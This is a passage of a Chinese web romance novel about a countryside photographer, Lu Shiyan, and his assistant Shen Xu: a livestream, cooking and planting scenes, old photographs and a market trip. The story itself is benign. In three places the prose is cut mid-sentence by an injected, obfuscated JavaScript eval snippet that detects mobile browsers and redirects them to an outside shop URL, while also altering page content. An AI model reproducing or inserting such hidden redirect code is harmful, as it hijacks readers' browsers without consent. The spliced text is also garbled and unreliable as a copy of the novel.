【啊啊啊啊啊陆老师护犊子!】 【助理小哥别怕我们很温柔的!】 【所以助理小哥叫什么名字啊】 【是上次视频里那个手吗是那个手吗】 陆时砚说:“叫沈叙。以后会经常出镜。” 沈叙愣了一下,看向他。 陆时砚没看他,继续对着镜头说:“今天教你们认野菜。” 他从旁边拿出一棵早上刚挖的荠菜,对着镜头开始讲:“这是荠菜,春天最常见。叶子羽状分裂,边缘有锯齿,闻起来有清香。” 【陆老师开始上课了】 【拿出小本本记笔记】 【等等,为什么助理小哥的表情这么复杂】 沈叙的表情确实很复杂,因为他想起了昨天下午,自己蹲在地里一棵一棵认荠菜的样子,和现在镜头里这棵被陆时砚拿在手里讲解的荠菜一模一样。 陆时砚讲完荠菜,又讲蒲公英,又讲苦菜,又讲那个不能吃的毒芹。他讲得不紧不慢,偶尔回答几个弹幕的问题,偶尔看一眼沈叙。 沈叙坐在旁边,慢慢放松下来,开始看那些弹幕。 【助理小哥在看弹幕!】 【助理小哥笑一个!】 【助理小哥你喜欢吃什么菜!】 沈叙看到最后那条,鬼使神差地开口说了一句:“泡面。” 弹幕安静了一秒,然后炸了一串的“哈哈哈”: 【哈哈哈哈哈哈哈哈哈哈】 【助理小哥说什么!泡面!】 【这是什么神仙回答】 【陆老师你听听!你助理说喜欢吃泡面!】 陆时砚侧头看了沈叙一眼,那表情很复杂,像是在说:你就给我丢人吧。但他什么也没说,只是对着镜头淡淡地来了一句:“他只会吃泡面。” 【只会吃泡面是什么意思!】 【所以助理小哥不会做饭?】 【等等,那平时谁做饭?陆老师吗?】 【陆老师做饭!想蹭饭!】 沈叙的脸颊微红,他小声对陆时砚说:“你怎么说出来了……” 陆时砚没理他,继续对着镜头说:“他昨天包了饺子,虽然包得很难看,但能吃。” 【助理小哥包饺子!】 【想看助理小哥包的饺子!】 【陆老师你是在夸他还是损他】 沈叙在旁边小声补充:“真的很丑。” 弹幕笑疯了。 直播进行了一个多小时,陆时砚教了七八种野菜,回答了几十个问题,沈叙偶尔插一两句话,弹幕全程都很欢乐。 快结束的时候,忽然有条弹幕飘过:【助理小哥和陆老师是什么关系啊?】 沈叙看到那条弹幕,心跳漏了一拍。 弹幕看热闹不嫌事大: 【对啊对啊是什么关系!】 【普通同事还是……】 【前面那个省略号是什么意思哈哈哈哈】 【陆老师快回答!】 沈叙不敢看陆时砚,也不敢看镜头,只能盯着自己的手。他听见陆时砚的声音在旁边响起,还是那副不紧不慢的调子:“他是助理。”顿了一顿,又加了一句:“也是家里的人。” 弹幕安静了一秒,然后开始狂刷: 【家里的人是什么意思!】 【啊啊啊啊啊啊啊啊啊!】 【这回答我嗑到了!】 【所以是家人对吧家人对吧!】 【陆老师你这话说得好暧昧!】 沈叙愣在那里,心跳快得像是要从嗓子眼蹦出来。陆时砚已经对着镜头说“今天就到这里,下次再见”,然后关掉了直播。 院子里突然安静下来,只有风吹过老槐树的声音,和村霸在墙角“嘎”的一声。沈叙坐在那里,脑子里还在回响那句“也是家里的人”。 家里的人。 这是什么意思? 他偷偷看向陆时砚,发现陆时砚正在收手机,表情和平时一样淡淡的,看不出任何异样。 沈叙想问,又不敢问,他怕问出来,答案不是自己想的那样,他也怕问出来,答案是自己想的那样。 陆时砚收好手机,站起来,看了他一眼:“发什么呆?进来帮忙剪视频。” 沈叙愣愣地站起来,跟着他往里走,走到门口,陆时砚忽然停下,头也不回地说:“刚才那句话,别多想。” 沈叙愣神的时候,陆时砚已经进屋了。他站在门口,看着他的背影消失在门里,心里五味杂陈。 别多想。 所以他真的就是随口一说。 沈叙深吸一口气,告诉自己:对,别多想。人家就是说你是家里的人——你是他助理,住在他家,可不就是家里的人吗? 很正常。 非常正常。 没有任何别的意思。 他这么想着,跟着进了屋。 屋里,陆时砚已经坐在电脑前开始剪视频了。沈叙在他旁边坐下,看着屏幕上的素材,努力让自己专注于工作。 但不知道为什么,他总觉得陆时砚今天的侧脸好像比平时柔和一点。 可能是阳光的角度吧。 剪了一会儿,陆时砚忽然说:“你刚才在直播里说泡面的时候,弹幕笑了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305520|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久。” 沈叙:“……我知道。” 陆时砚:“以后别说你会吃泡面了。” 沈叙:“为什么?” 陆时砚:“因为你连泡面都煮不好。” 沈叙无言以对。 陆时砚顿了顿,又说:“等你学会了做饭,再说你会吃。” 沈叙愣了一下,然后点点头:“好。” 他看着陆时砚的侧脸,忽然觉得心里那点乱七八糟的情绪慢慢平复下来了。不管那句话是什么意思,至少他现在还在这里,还坐在这间屋子里,和他一起剪视频。 还能继续学做饭。 还能每天被他嫌弃。 这就够了。 傍晚的时候,视频剪完了。陆时砚上传,沈叙在旁边看。上传完成后,沈叙习惯性地刷新了一下评论区,想看看粉丝的反应。 评论区第一条,点赞已经过千: 【今天直播那句“家里的人”是什么意思?助理小哥是真的“家里的人”还是陆老师在暗示什么?】 下面的评论全是在讨论这个。 【我觉得就是字面意思吧,住在一起不就是家人吗】 【可是那个语气真的很暧昧啊你们没听出来吗】 【陆老师什么时候用那种语气说过话】 【助理小哥当时脸都红了你们注意到没有】 【截图在此,助理小哥听到那句话之后的表情.gif】 沈叙看着那张动图,脸又红了。 因为那张动图里,自己确实是一副魂飞天外的样子。陆时砚凑过来看了一眼,说:“截图挺清楚。” 沈叙:“……你能不能关注重点?” 陆时砚:“重点是什么?” 沈叙张了张嘴,发现自己说不出来。 重点是什么? 重点是那句话到底是什么意思。 但这话他问不出口。 陆时砚看了他一眼,忽然伸手,把他的手机拿过去,放到一边。沈叙不解抬头,陆时砚说:“别看评论了。来吃饭。” 沈叙被他拉着走出房间,走到厨房。灶台上已经摆好了饭菜,还是简单的两菜一汤,热气腾腾的。陆时砚盛了两碗饭,把其中一碗推给他。 沈叙低头吃饭,吃了几口,忽然说:“我今天晚上想学煮泡面。” 陆时砚筷子顿了顿,抬头看他。 沈叙认真地说:“你说我连泡面都煮不好。我想证明给你看,我能。” 陆时砚沉默了两秒,然后说:“行。吃完饭,我教你。” 吃完饭,两人又进了厨房。陆时砚拿出一包泡面,放在案板上,开始教学。 “第一步,烧水。” 沈叙打开火,把锅放上去。 “第二步,水开了放面。” 沈叙等着水开,眼睛盯着锅里的气泡。 “第三步,打一个鸡蛋。” 沈叙从冰箱里拿出鸡蛋,这次他学聪明了,先磕在碗里,确认没有碎壳,再倒进锅里。 “第四步,三分钟,关火。” 沈叙看着手机上的计时器,正好三分钟的时候关火,把面倒进碗里。 一碗泡面,上面卧着一个完整的荷包蛋,几片翠绿的葱花。陆时砚看了看那碗面,说:“合格了。” 沈叙看着那碗面,忽然有点想哭。 因为他终于做成了一件事,一件很小很小的事。 在这个人身边,好像每一件小事都变得很重要。他端着那碗面,忽然问:“你刚才说那句话,真的没有别的意思吗?” 话一出口,他就后悔了,但已经收不回来了。陆时砚看着他,沉默了一会儿,然后说:“你想有什么意思?” 沈叙愣住了。 他想有什么意思? 他不知道。 或者说,他不敢知道。 陆时砚看着他那样,忽然叹了口气,伸手揉了揉他的头发。“别想了。”他说,“面要凉了。”他的手在沈叙头顶停留了一秒,然后收回去了。 沈叙站在那里,心跳快得像要炸开,那个触感还留在头顶,温热的,轻轻的。 他忽然不敢抬头看陆时砚。 面很好吃。鸡蛋也刚刚好,蛋黄还是溏心的。但他完全吃不出味道,现在他满脑子都是那只手,和那句“别想了”。 到底是不让想什么? 是不让想那句话的意思,还是不让他想太多?他偷偷抬眼看了陆时砚一眼。 陆时砚正靠在门框上,看着院子里的月光,侧脸安静得像是根本没发生过刚才那件事。 沈叙又低下头,继续吃面。吃完面,他洗碗,然后回屋,躺在床上,他看着窗外的月光,又失眠了。 他不想让陆时砚只是“家里的人”。 他想让那个“家人”,变成只有他一个的那种。只是这句话就像那句“家里的人”一样,一旦说出口,就再也收不回去了。 7. 礼物(1) 清晨的阳光刚爬上墙头,院子里的鸡还没开始晨练,村霸蹲在墙角,一副若无其事的样子。沈叙揉着眼睛推开门,差点一脚踩上一堆不明物体。 有半截烂果子,一团不知道什么动物的毛,一片破布条,还有——沈叙仔细看了一眼,默默往后退了一步——一只死老鼠,很新鲜的那种。 沈叙站在门口,和那堆东西对视了三秒,然后抬头看向村霸。 村霸也看着他,眼神坦荡,甚至还昂了昂脖子,那表情分明在写:怎么样,喜欢吗? 沈叙张了张嘴,想说什么,但发现自己的语言系统暂时宕机了。厨房里传来陆时砚的声音:“站着干什么?进来帮忙。” 沈叙指着那堆东西,声音都劈了:“这、这是什么?” 陆时砚走出来,低头看了一眼,沉默了两秒,然后说:“哦。” “哦?”沈叙瞪着他,“你就哦?” 陆时砚的表情很平静,平静得像是在看天气预报:“村霸送的礼物。” 沈叙怀疑自己的耳朵出了问题:“礼物?” “嗯。”陆时砚蹲下来,拨了拨那堆东西,“它在讨好你。” 讨好? 用死老鼠? 陆时砚站起来,拍拍手上的灰:“鹅的智商就这样。它觉得好的东西,就会送你。以前给我送过青蛙、蛇、半只不知道什么鸟的翅膀……” “等等,”沈叙打断他,“蛇?” “嗯,有一次叼了条小蛇回来,活的,放我门口。”陆时砚的语气像是在说今天天气不错,“我起床差点踩到。” 沈叙想象了一下那个画面,后背一阵发凉。他看着地上那堆东西,又看看墙角那只一脸坦然的鹅,心情复杂得难以言表。 “所以,”他艰难地开口,“它觉得我会喜欢死老鼠?” 陆时砚想了想:“可能它觉得这是好东西。毕竟对它来说,老鼠确实挺好吃的。” 沈叙沉默了,他蹲下来,看着那只老鼠,努力说服自己:这是一份心意,一份来自鹅的心意,虽然很吓人,但至少它没有把蛇叼来。 这么想着,好像也没那么难以接受了。他抬起头,对村霸说:“谢谢,但下次不用了。” 村霸歪了歪脑袋,好像在思考这句话的意思。 沈叙站起来,准备找东西把这一堆处理掉。他刚转身,就听见身后传来一阵动静。回头一看,村霸站起来,走到那堆东西旁边,低头叼起那只死老鼠,仰头一吞咽下去,然后若无其事地舔了舔嘴巴。 沈叙:“…………” 陆时砚在旁边说:“它可能觉得你不收,就自己吃了。” 沈叙看着村霸,那只鹅也在看他,眼神里居然有一丝……委屈? 他被那个眼神看得心虚了,小声说:“我不是嫌你的礼物不好,是我真的不吃老鼠。” 村霸“嘎”了一声,低头叼起那片破布条,甩了甩,然后放在沈叙脚边。那动作分明在说:这个总可以吧? 沈叙低头看看那块脏兮兮的破布,又抬头看看村霸,忽然有点想笑。 他蹲下来,认真地对那只鹅说:“这个我也不要。但你心意我领了。” 村霸盯着他看了几秒,然后“嘎”了一声,转身走了。那背影很拽,但沈叙总觉得它有点不高兴。 早饭的时候,他把这事讲给陆时砚听。陆时砚喝着粥,听完后说:“它是在乎你。” “鹅认人很慢的。”陆时砚说,“它来我家大半年才开始给我送东西。你这才来多久?一个多月吧?” 沈叙算了一下,还真是。 他低头看着碗里的粥,心里涌起一股奇怪的感觉。被一只鹅认可的感觉,好像……还挺好的。 吃完饭,两人照例去菜地。今天要种新的菜苗,陆时砚从镇上买回来的,一捆一捆的嫩绿秧苗,装在篮子里。 沈叙蹲在地头,看着陆时砚挖坑、放苗、培土,动作熟练得像做过一万遍。他负责递苗,偶尔问两句。 “这是什么?” “茄子。” “这个呢?” “辣椒。” “这个呢?” 陆时砚看了一眼:“你不认识?”沈叙老实摇头。 陆时砚无奈把那棵苗举起来,让他看仔细:“这是西红柿苗。你吃的番茄炒蛋,就是它结的。” 沈叙认真地看了看,把那形状记在心里。种完一排,陆时砚直起腰,活动了一下肩膀。沈叙忽然想起什么,问:“你今天不是要剪视频吗?我帮你种?” 陆时砚看了他一眼,沈叙被那眼神看得有点虚:“怎么?” 他说:“你知道怎么种吗?” 沈叙想了想:“挖坑,放苗,埋土,浇水?” 陆时砚沉默了两秒,然后把小铲子递给他:“行,你试试。” 沈叙接过铲子,信心满满地挖了第一个坑。 太深了,他往里填了点土,然后把苗放进去。 苗歪了,他扶正,培土,压实。 种了五棵,自我感觉良好,回头找陆时砚邀功。对方走过来,看了一眼,沉默了三秒,然后说:“你知道你种的是什么吗?” 沈叙一愣:“啊?” 陆时砚指着第一棵:“这个是茄子,你种在辣椒旁边,没事。”又指着第二棵:“这个是辣椒,种在茄子旁边,也没事。”再指着第三棵:“这个是西红柿,种在辣椒旁边,还行。”指着第四棵:“这个也是西红柿,没问题。”指着第五棵顿了一下,把那棵苗拔出来,递给沈叙:“你看看这个根。” 沈叙低头一看,根断了。 陆时砚说:“埋的时候太用力,压断了。” 陆时砚又指着那几棵的间距:“这个太密了,长大会打架。这个太松了,浪费地。” 沈叙听着,头越来越低。 陆时砚说完了,看着他那样,忽然伸手拍了拍他的后脑勺:“没事,第一次种都这样。” 沈叙抬头,眼睛亮了一点。 陆时砚把那棵断根的苗放进篮子:“这棵不能要了,回去煮汤吧。” 沈叙“嗯”了一声,又拿起铲子,准备重新种。这次他种得很小心,坑挖得刚好,苗放得正,土培得松,一棵一棵问过陆时砚确认了才埋。 种完最后一棵,他直起腰,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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村霸“嘎”了一声,不知道是听懂了还是单纯回应。沈叙站起来,拍了拍它的脑袋。村霸没躲,甚至往他手心里蹭了蹭。那个触感软软的,和它凶悍的外表完全不一样。 沈叙愣了一下,然后笑了。 晚上,他回屋的时候,发现门口又放着一片叶子,还是绿油油的,还是完整的,和中午那片一模一样。 他捡起来,回头看了一眼。村霸蹲在墙角,正在假装睡觉。沈叙笑了,把那片叶子也收进口袋里。 进屋之后,他把两片叶子拿出来,看了又看,然后找了一本书,把它们夹进去。 书是陆时砚借给他的,讲摄影的,他还没看完。 窗外传来村霸轻轻的“嘎”一声,像是在说晚安。沈叙躺在床上,看着天花板,忽然想起陆时砚早上说的话:鹅认人很慢的。 沈叙把那两片叶子夹进书里之后,每天出门前都会看一眼门口。 有时候有叶子,有时候没有。 有叶子的日子,他会捡起来,认真地说一声谢谢。村霸蹲在墙角,昂着脑袋,那表情分明在说:不用谢,我知道我很棒。 没叶子的日子,他也会往墙角看一眼。村霸有时候在,有时候不在。在的时候会和他对视一眼,然后若无其事地移开目光。 8. 合影 沈叙觉得,他和这只鹅之间,好像有了一种奇怪的默契。 某天下午,陆时砚说要整理储物间。 “东西太多,堆了几年了。”他说,“你帮我搭把手。” 沈叙跟着他进去,才发现这个房间比想象中大。堆满了纸箱、旧家具、落灰的器材,墙角还靠着几卷发黄的背景布。 阳光从唯一的小窗户照进来,能看见无数尘埃在光束里慢慢飘。 陆时砚递给他一块抹布:“先把箱子表面的灰擦一遍,我看看哪些能扔。” 沈叙接过抹布,开始干活,他擦得很认真,每一个箱子都擦到位,偶尔打开看一眼里面是什么。有的是旧衣服,有的是书,有的是不知道哪年的发票和收据。 擦到第三个箱子的时候,他停下来了。这个箱子和别的不同,是一个木头箱子,表面没有灰,看来被人擦过,然后放在那里,没有再动过。 沈叙犹豫了一下,还是用抹布轻轻擦了擦。木头纹路很好看,暗红色,边角包着铜皮,看着就有些年头了。 陆时砚走过来,看到他面前的箱子,沉默了两秒。沈叙抬头,看见他的表情,忽然意识到什么:“这个不能动?” 陆时砚说:“能动。” 他蹲下来,打开箱子。里面是一沓一沓的照片,用牛皮纸袋装着,码得整整齐齐。陆时砚拿起最上面的一袋,解开绳子,把照片抽出来。 照片上的人,站在雪山脚下,穿着厚厚的冲锋衣,脸被晒得有点黑,但笑得很灿烂。 下一张,他在沙漠里,背对镜头,走向远处的沙丘。 再下一张,他在草原上,骑着马,风吹起他的头发。 再下一张,他在海边,卷着裤腿站在浪花里,手里举着一只螃蟹。 每一张都很美。 每一张的主角都是同一个人。 沈叙认出来了——这是那个背影,陆时砚以前说的,那个搭档。他忽然不知道该说什么,只是安静地看着那些照片。 陆时砚一张一张翻过去,表情很平静,像是在看别人的故事。翻到最后一沓,他抽出来一张,递给沈叙。 这张和别的不同,不是风景,是两个人的合影。那个男生搂着陆时砚的肩膀,两人站在山顶,身后是翻滚的云海。都笑着,眼睛里都有光。 陆时砚那时候比现在年轻一点,头发更短,笑容更大,整个人看起来和现在完全不一样。 沈叙看着那张照片,又看看面前的陆时砚,心里忽然涌起一阵说不清的酸涩。 “他叫林煜。”陆时砚开口了,声音很淡,“摄影圈认识的,搭档了三年。” 沈叙点头,没插话。 “那三年跑了十几个地方,拍了上万张照片。”陆时砚把照片收回去,放回袋子里,“我以为会一直这样下去。” 他顿了顿,“后来有一组作品,我拍的,他拿走了。署自己的名,卖了。” 沈叙的手指微微收紧,张了张嘴,想问问怎么回事,又找不到立场。 “不是偷偷拿的。是我让他帮我寄参赛,他直接寄给了买家。”陆时砚的语气还是那么淡,“等我知道的时候,钱已经到账了,作品已经在别人手里了。” 沈叙张了张嘴,想说什么,又觉得什么都说不出来。 “打官司打了两年。”陆时砚把袋子放回箱子里,盖上盖子,“赢了,钱追回来了,名誉也恢复了。但没什么意思。”他站起来,拍了拍手上的灰。 “那些照片,我一直没舍得扔。不是因为还惦记他,是因为那是我拍过最好的照片。” 沈叙看着他,忽然说:“你以后会拍出更好的。” 陆时砚转头看他,沈叙被他看得有点不自在,但还是继续说下去:“你现在拍的那些,花、野菜、院子、村霸,都很好。比我见过的很多照片都好。” 陆时砚没说话,就那么看着他。 沈叙硬着头皮说下去:“我不懂摄影,我就是觉得……你的镜头里有东西。” 陆时砚问:“什么东西?” 沈叙想了想,说:“温度。” 这个词说出来,他自己都觉得有点矫情。但话已经说出口了,收不回来,只能硬撑着和陆时砚对视。 陆时砚看了他一会儿,忽然嘴角弯了一点:“你什么时候学会说这种话了?” 沈叙的脸红了:“我没学会,我就是这么觉得。” 陆时砚收回目光,看向窗外。阳光照在他侧脸上,轮廓很柔和。 “以前拍的那些,确实好。”他说,“构图、光影、色彩,都挑不出毛病。但拍完之后,那些照片就和我没关系了。” “现在拍的这些,不太一样。拍的时候会想,这个镜头沈叙会不会喜欢,那个画面村霸在不在里面,这棵菜是沈叙种的,那朵花是沈叙帮忙打光的。” 沈叙愣住了,陆时砚转头看他,眼睛里有一点笑意:“拍着拍着,就拍出温度了。” 沈叙站在那里,心跳快得像要蹦出来。他不知道该怎么回应这句话,只能低着头,假装在整理那些照片。 但他的手有点抖。 陆时砚看见了,没戳穿,只是伸手接过他手里的袋子,放回箱子里。 “今天就到这吧。”他说,“剩下的明天再收拾。”沈叙点点头,跟着他走出储物间。 阳光照在院子里,村霸正蹲在墙角晒太阳。看见他们出来,懒洋洋地抬了抬眼皮,然后又闭上了。 沈叙站在院子里,忽然想起一件事,他问陆时砚:“那个人,后来怎么样了?” 陆时砚知道他说的是谁,沉默了一会儿,说:“不知道。官司打完就没联系了。” 沈叙又问:“你恨他吗?” 陆时砚想了想,说:“恨过。后来不恨了。” “为什么?” “因为恨着恨着,发现自己除了恨什么都没有了。”陆时砚看向远处的山,“那几年拍的那些地方,想起来全是和他一起去的。后来就不想了,也不想拍了。” 沈叙站在他旁边,不知道该说什么。 陆时砚忽然转头看他:“你来之后,那些地方我又想起来了。” 沈叙心莫名提起来了,手指微微蜷缩轻攥住衣角。 陆时砚说:“不是想起他。是想起那些地方本身。雪山、沙漠、草原、海。想带你去看看。” 沈叙站在那里,脑子里一片空白。 陆时砚已经转身往厨房走了:“晚上想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305522|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 沈叙愣愣地跟上去,半天才说出一句:“都行。” 晚饭后,沈叙坐在院子里发呆。村霸走过来,蹲在他脚边,用嘴巴蹭了蹭他的裤腿。 沈叙低头看它,忽然问:“你说他那句话是什么意思?” 村霸歪着头看他。 沈叙继续说:“‘想带你去看看’,这是什么意思?就是普通地想带我去旅游?还是有别的意思?” 村霸眨了眨眼睛。 沈叙叹了口气:“我问你干什么,你又不会说话。” 村霸“嘎”了一声,那表情分明在说:我知道,但我懒得告诉你。 沈叙看着它那样,伸手摸了摸村霸的脑袋,软软的,暖烘烘的。“算了。”他说,“不管什么意思,至少他愿意让我知道这些事。” 村霸蹭了蹭他的手心。 月亮升起来了,照在院子里,一切都蒙上一层淡淡的银光。 沈叙抬头看着月亮,想起第一次和陆时砚看星星的那个晚上。那时候他还不知道这些事,不知道陆时砚的过去,不知道那些照片和那个人。 现在知道了,没有觉得离他更远,反而觉得更近了。 因为那些事,陆时砚愿意告诉他。 因为那些照片,陆时砚愿意给他看。 因为那些“拍得最好的照片”,陆时砚说以后会拍出更好的。 沈叙忽然站起来,往陆时砚房间走去。走到门口,他停住脚,门虚掩着,里面亮着灯。他透过门缝看见陆时砚坐在书桌前,手里拿着什么东西在看。 是那张合影。 沈叙站在门口,没有敲门,就那么站着,看着陆时砚的侧脸。灯光把他照得很柔和,他的表情很安静,看不出在想什么。 过了一会儿,陆时砚把照片放下,抬头看向门口。四目相对。沈叙没躲,推开门走进去。 陆时砚看着他,没说话。 沈叙走到他面前,站定,然后伸手,轻轻握住了他的手,陆时砚的手指微微动了一下,但没有抽开。 沈叙说:“我不知道该说什么。但我想让你知道,你拍的那些照片,不管以前还是以后,都很好。” 他顿了顿,又说:“还有,你不是一个人了。” 陆时砚看着他,眼睛里有一点东西在闪烁。 过了很久,他说:“我知道。” 就三个字,偏偏沈叙听出了那三个字后面的东西,他握着陆时砚的手,没松开。 窗外,月亮很亮,很安静。村霸不知道什么时候走到了门口,探头看了一眼屋里,然后轻轻“嘎”了一声,转身走了。 那声音很轻,像是在说:我不打扰你们了。 回到屋里,沈叙以为自己会失眠那些话在脑子里转了一晚上,像风吹过的麦浪,一浪一浪地涌上来,怎么也停不住。 后来,迷迷糊糊睡着,醒来的时候天已经亮了,阳光从老槐树的缝隙里漏进来,在床单上画出一片晃动的光斑。沈叙躺在那儿看着那些光斑,忽然想起昨晚的事,心跳又开始不听话。 他摸了摸自己的手腕——昨晚被陆时砚握着的地方。 外面传来村霸的叫声,一声懒洋洋的刚睡醒的“嘎——”。 9. 进城赶集 院子里,陆时砚正在往车上搬东西。看见他出来,头也不回地说:“醒了?过来帮忙。” 沈叙走过去,发现他搬的是那台相机和几个镜头,还有一些他叫不出名字的器材。 “要出门?” 陆时砚把最后一个包扔上车斗,拍了拍手上的灰:“去镇上。采购。” 沈叙愣了一下,然后想起来,确实该采购了。冰箱里的菜快吃完了,调料也不多了,还有上次陆时砚说要做酱,需要买新的坛子。 他站在那儿,忽然想起自己只有西装。 陆时砚像是看穿了他的想法,从车里拿出一个布袋递给他。 沈叙接过来,打开一看——是一套衣服。藏蓝色的棉布衬衫,黑色的休闲裤,不是什么牌子,但摸起来很舒服。 “上次去裁缝店量的。”陆时砚说,“做好了,一直没拿。” 沈叙看着那套衣服,又抬头看看陆时砚,张了张嘴,不知道说什么。 陆时砚已经转身往驾驶座走了:“换上,十分钟后出发。” 沈叙抱着那套衣服站在原地,看着他的背影,忽然觉得眼眶有点热。 他低头看了看那套衣服,又看了看自己身上的深灰色西装——这件西装陪他从城市来到这里,每天穿,已经有点旧了,袖口还沾着上次包饺子蹭的面粉。 他转身回屋,换上那套新衣服。 衬衫很合身,扣子系到最上面一颗刚好,袖子不长不短。裤子也是,腰围刚刚好,裤脚刚好盖住脚面。 他站在镜子前看了看,忽然觉得自己好像变了一个人。 走出房间,陆时砚靠在车边等着。看见他出来,目光在他身上停了一秒,然后说:“还行。” 沈叙走过去,小声问:“是你量的尺寸?” 陆时砚拉开车门:“裁缝量的。我报的数据。” 沈叙坐进副驾驶,系上安全带,忽然又问:“你怎么知道我的尺寸?” 陆时砚发动车子,眼睛看着前方,语气很平淡:“抱过。” 抱过? 什么时候? 他想起来了——那次在厨房,陆时砚从身后握着他的手教他打鸡蛋。 但这些,都不算“抱”吧? 他偷偷看了一眼陆时砚,发现那人的耳朵好像有点红。沈叙没再问,只是把头转向窗外,假装在看风景。 但嘴角一直压不下去。 车子沿着山路往下开,窗外的景色一点点变化。先是他们熟悉的那片山坡,然后是村庄,然后是田野,然后是一条小河,然后是一个小镇。 沈叙看着窗外,忽然想起自己刚来那天,坐着那辆老旧的乡镇公交,一路颠簸着进来。那时候他满脑子都是“我能行吗”“他会要我吗”“我是不是在做梦”。 现在他坐在车里,旁边是陆时砚,要去镇上采购。 好像才过了没多久,又好像过了很久。 “想什么呢?”陆时砚忽然问。 沈叙回过神,说:“在想我刚来那天。” 陆时砚没说话,但车速好像慢了一点。 沈叙继续说:“那时候特别紧张,怕你不要我。” 陆时砚看了他一眼:“现在呢?” 沈叙想了想:“现在也怕。”他看着窗外,声音轻轻的:“怕你哪天忽然发现,我其实没什么用,就会做饭了,会举反光板了,别的什么都不会。” 陆时砚沉默了一会儿,然后把车停在路边。 沈叙转头看他,不知道他要干什么。 陆时砚也看着他,眼神很认真:“你知道什么叫有用?” 沈叙张了张嘴,没说出话来。 陆时砚说:“你会剪视频,会谈商务,会帮我回消息。你会在我失眠的时候陪我,会在我做噩梦的时候握我的手。你会记住村霸喜欢什么,会为了它一句‘嘎’高兴半天。” “这些,比会做饭重要多了。” 沈叙听着那些话,眼眶忽然有点酸。 他想说点什么,但喉咙像被什么东西堵住了。 陆时砚伸手,揉了揉他的头发,然后发动车子,继续往前开。 沈叙坐在副驾驶,看着窗外飞速后退的风景,心里那些乱七八糟的情绪慢慢平复下来。 这个人,好像真的不会不要他。 镇上不大,但什么都有。 菜市场在镇子东头,一个很大的棚子,里面挤满了摊位。卖菜的、卖肉的、卖调料的、卖日用品的,吆喝声此起彼伏,热热闹闹的。 陆时砚把车停在市场门口,拎着两个大布袋,带着沈叙往里走。 沈叙第一次来这种地方,有点不适应。人太多了,声音太大了,气味也太复杂了——有蔬菜的清香,有鱼腥味,有卤肉的香味,还有不知道哪里飘来的廉价香水味。 他跟在陆时砚后面,像一只刚出窝的小鸡,东张西望,什么都想看。 陆时砚走到一个菜摊前,停下来。 摊主是个中年女人,系着围裙,嗓门很大:“小陆来了!今天要什么?” 陆时砚看了看摊位上的菜,说:“西红柿来五斤,茄子来三斤,黄瓜来五斤,青椒来两斤。” 女人一边称菜一边说:“你那个院子种的那些不够吃啊?” 陆时砚说:“种的是种的,买的是买的。种的还没长出来。” 女人笑了:“也是。这位是谁啊?没见过。” 陆时砚顿了一秒,说:“家里人。” 沈叙在旁边听着,心跳又漏了一拍。 家里人。 又是家里人。 女人打量了沈叙一眼,笑着说:“长得真俊。小陆有福气。” 陆时砚没接话,接过菜,付了钱,继续往前走。 沈叙跟上去,小声问:“你怎么不说我是助理?” 陆时砚看了他一眼:“助理也是家里人。” 沈叙愣了一下,然后没再说话。 心里那点小小的窃喜,像春天的野草一样,悄悄长起来了。 接下来是肉摊、调料摊、干货摊。陆时砚一路走一路买,每到一个摊位都会和摊主聊几句,问问最近的行情,问问什么东西新鲜,问问价格能不能便宜点。 沈叙在旁边看着,觉得稀奇。 在他印象里,陆时砚话不多,总是淡淡的,好像对什么都不太在意。但在这里,他会讨价还价,会和摊主开玩笑,会为了几毛钱和卖肉的大爷磨半天。 买完肉,沈叙终于忍不住问:“你怎么还会这个?” 陆时砚说:“什么?” 沈叙说:“讨价还价。” 陆时砚看了他一眼:“一个人过久了,什么都会。” 又是这句话。 沈叙想起他第一次说这句话的时候,是在来镇上的路上,问他为什么一个人回来。那时候他只觉得心疼,现在再听,好像又多了一点别的什么。 那些一个人过的日子,一定很难吧。 一个人买菜,一个人做饭,一个人吃,一个人收拾。 一个人对着空荡荡的院子,和一只后来才来的鹅。 他忽然伸手,接过陆时砚手里最重的那个袋子。 陆时砚愣了一下,看向他。 沈叙说:“我帮你拿。” 陆时砚没说话,但嘴角弯了一点。 他们继续逛,买了盐、买了酱油、买了醋,买了陆时砚说要腌酱的坛子,还买了沈叙没见过的各种调料。布袋越来越满,越来越重,但沈叙一直提着那个最重的袋子,没撒手。 逛到最后,陆时砚在一家杂货铺前停下来。 铺子卖的都是些日用品,锅碗瓢盆、扫帚簸箕、针头线脑。陆时砚走进去,沈叙跟在后面。 铺子里坐着一个老奶奶,戴着老花镜,正在纳鞋底。看见他们进来,抬头看了一眼,然后笑起来:“小陆来了!好久不见!” 陆时砚点点头:“李奶奶,我来拿衣服。” 老奶奶放下鞋底,从柜台后面拿出一个布袋,递给陆时砚:“做好了,你看看合不合适。” 陆时砚打开布袋,里面是两件叠得整整齐齐的衣服。他拿出来一件,递给沈叙:“试试。” 沈叙接过来一看,是一件浅灰色的衬衫,布料比身上这件更软,摸起来很舒服。他犹豫了一下,还是把衬衫套在身上试了试。 刚好合身。 老奶奶在旁边看着,笑 